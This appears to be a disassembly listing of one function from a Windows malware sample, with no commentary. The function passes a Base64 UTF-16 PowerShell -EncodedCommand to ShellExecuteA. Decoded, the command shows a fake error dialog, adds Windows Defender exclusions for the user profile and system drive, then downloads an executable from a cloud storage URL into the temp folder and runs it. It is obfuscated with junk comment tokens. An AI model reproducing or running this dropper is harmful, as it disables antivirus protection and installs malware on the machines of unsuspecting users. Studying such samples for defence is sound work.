Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__PAAjAHcAbQBjACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGwAdABqACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAIAQ1BD4EQgQgABsEMARDBD0ERwQ1BEAEIAA9BDUEIABBBD4EMgQ8BDUEQQRCBDgEPAQgAEEEIAAyBDAESAQ4BDwEIAA6BD4EPAQ_BEwETgRCBDUEQAQBDwEIQAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAdAB3AGwAIwAADsAIgA7ADwAIwB3AGMAeQAjAD4AUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ADwAIwBjAHUAawAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHcAagB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG0AbgByACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAawB6ACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwB1AHAAbgBvAHcALQBwAHIAbwBkAC4AZgBmADQANQBlADQAMABkADEAYQAxAGMAOABmADcAZQA3AGQAZQA0AGUAOQA3ADYAZAAwAGMAOQBlADUANQA1AC4AcgAyAC4AYwBsAG8AdQBkAGYAbABhAHIAZQBzAHQAbwByAGEAZwBlAC4AYwBvAG0ALwBRADcANAB2AEsASQBWAEkAeQBMAFIAZQBhAHIAbgBiAHQASABXAFcAcwBMAG8AcAAzAFIAWQAyAC8ANQAxADAANQAzAGYAYwBhAC0ANwAyAGIAMAAtADQAOQAzADEALQBiAGYAYwBiAC0ANQAwADMAYQAzADQAOQBkADUAYgBhADIAPwBYAC0AQQBtAHoALQBBAGwAZwBvAHIAaQB0AGgAbQA9AEEAVwBTADQALQBIAE0AQQBDAC0AUwBIAEEAMgA1ADYAJgBYAC0AQQBtAHoALQBDAHIAZQBkAGUAbgB0AGkAYQBsAD0AYwBkAGQAMQAyAGUAMwA1AGIAYgBkADIAMgAwADMAMAAzADkANQA3AGQAYwA1ADYAMAAzAGEANABjAGMAOABlACUAMgBGADIAMAAyADQAMAAyADIAOQAlADIARgBhAHUAdABvACUAMgBGAHMAMwAlADIARgBhAHcAcwA0AF8AcgBlAHEAdQBlAHMAdAAmAFgALQBBAG0AegAtAEQAYQB0AGUAPQAyADAAMgA0ADAAMgAyADkAVAAxADcAMwA0ADQANwBaACYAWAAtAEEAbQB6AC0ARQB4AHAAaQByAGUAcwA9ADQAMwAyADAAMAAmAFgALQBBAG0AegAtAFMAaQBnAG4AYQB0AHUAcgBlAD0AMQA5AGQANwBhAGMAMQA0ADUAYgA0ADgAMgA3AGYAYQBjAGMAMgAxAGUANABjAGMAMwAyADgAZQBhAGEAMABkADUAYgBmAGMAMwAxAGEAYgBkAGIANAA3ADEAMgA3ADUANgA0ADYANQA0ADUAMwBmADcAZgAxAGIANwAzAGMAOAAmAFgALQBBAG0AegAtAFMAaQBnAG4AZQBkAEgAZQBhAGQAZQByAHMAPQBoAG8AcwB0ACYAcgBlAHMAcABvAG4AcwBlAC0AYwBvAG4AdABlAG4AdAAtAGQAaQBzAHAAbwBzAGkAdABpAG8AbgA9AGEAdAB0AGEAYwBoAG0AZQBuAHQAJQAzAEIAJQAyADAAZgBpAGwAZQBuAGEAbQBlACUAMwBEACUAMgAyAG4AZQBnAHIAaQAuAGUAeABlACUAMgAyACcALAAgADwAIwBkAGoAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGEAcgB1ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAYgBkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFgAdQBpAC4AZQB4AGUAJwApACkAPAAjAHQAaQBxACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGoAawBmACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwByAGkAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBYAHUAaQAuAGUAeABlACcAKQA8ACMAbQBuAHcAIwAAA_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret